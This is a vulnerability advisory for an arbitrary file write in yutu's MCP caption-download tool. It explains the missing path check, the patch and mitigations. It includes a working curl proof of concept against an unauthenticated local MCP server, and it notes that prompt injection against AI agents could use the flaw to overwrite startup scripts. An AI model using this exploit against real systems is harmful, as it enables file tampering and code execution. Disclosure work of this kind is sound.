CVE-2026-50158: yutu Arbitrary File Write via MCP caption-download
A missing path check in yutu's caption-download MCP tool lets any caller write files anywhere on disk, bypassing the sandbox boundary that every other file operation in the tool respects.
The problem
The Caption.Download() method in pkg/caption/caption.go passes the caller-supplied file parameter straight to os.Create() at line 272, with no path validation or confinement to the YUTU_ROOT boundary.
Every other file-write path in yutu (Insert, Update) routes through pkg.Root.Open(), which uses Go 1.24's os.OpenRoot to enforce directory confinement. Download is the sole outlier. Because the HTTP MCP server starts with --auth defaulting to false, any local process can reach the endpoint without credentials and trigger the write.
Proof of concept
A working proof-of-concept for CVE-2026-50158 in github.com/eat-pray-ai/yutu, with the exact payload below.
# Start the HTTP MCP server (no auth required by default)
yutu mcp --mode http --port 8216
# Step 1: initialise the MCP session
curl -sD /tmp/yutu.headers \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
http://localhost:8216/mcp \
-d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"poc","version":"1"}}}' \
>/tmp/yutu.init
SID=$(awk 'tolower($1)=="mcp-session-id:"{print $2}' /tmp/yutu.headers | tr -d '\r')
# Step 2: call caption-download with an absolute path outside YUTU_ROOT
# Replace CAPTION_ID with any caption id accessible by the configured token
curl -s \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
${SID:+-H "Mcp-Session-Id: $SID"} \
http://localhost:8216/mcp \
-d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"caption-download","arguments":{"ids":["CAPTION_ID"],"file":"/tmp/yutu-cve-poc.srt","tfmt":"srt"}}}'
# Verify: file exists outside YUTU_ROOT
test -s /tmp/yutu-cve-poc.srt && ls -l /tmp/yutu-cve-poc.srtThe root cause is CWE-73: External Control of File Name or Path. The file field is declared as a plain required string in the MCP JSON input schema (cmd/caption/download.go:34,40) and flows through the tool handler binding to os.Create(c.File) at caption.go:272 without any canonicalization, prefix check, or pkg.Root gating.
The patch replaces os.Create(c.File) with pkg.Root.OpenFile(c.File, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600), routing the write through the same os.OpenRoot-backed root that Insert and Update already use. Any path that escapes the YUTU_ROOT directory is then rejected by the OS with "path escapes from parent".
The unauthenticated-by-default HTTP MCP server widens the attack surface beyond local CLI use: a prompt-injection payload fed to an AI agent using yutu MCP could specify an arbitrary file value and achieve persistent code execution by overwriting shell startup scripts or application binaries.
The fix
Upgrade to yutu v0.10.9-dev1 (commit 87026c4). The fix replaces the bare os.Create(c.File) call with pkg.Root.OpenFile(c.File, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600) in pkg/caption/caption.go, confining caption downloads to YUTU_ROOT exactly as Insert and Update already do.
If you cannot upgrade immediately, avoid exposing the HTTP MCP server to untrusted callers and set --auth true to require authentication.
Related research
- high · 7.5CVE-2026-54629CVE-2026-54629: Anyquery Local File Read via Unrestricted SQLite Virtual Table Modules
- critical · 9.1CVE-2026-50006CVE-2026-50006: Anyquery Arbitrary File Write via Unrestricted ATTACH DATABASE in Server Mode
- critical · 9.9CVE-2026-48753CVE-2026-48753: Incus S3 Multipart Upload Path Traversal to Arbitrary File Write
- critical · 9.9CVE-2026-48749CVE-2026-48749: Incus Arbitrary File Read and Write via rootfs Symlink in Malicious Image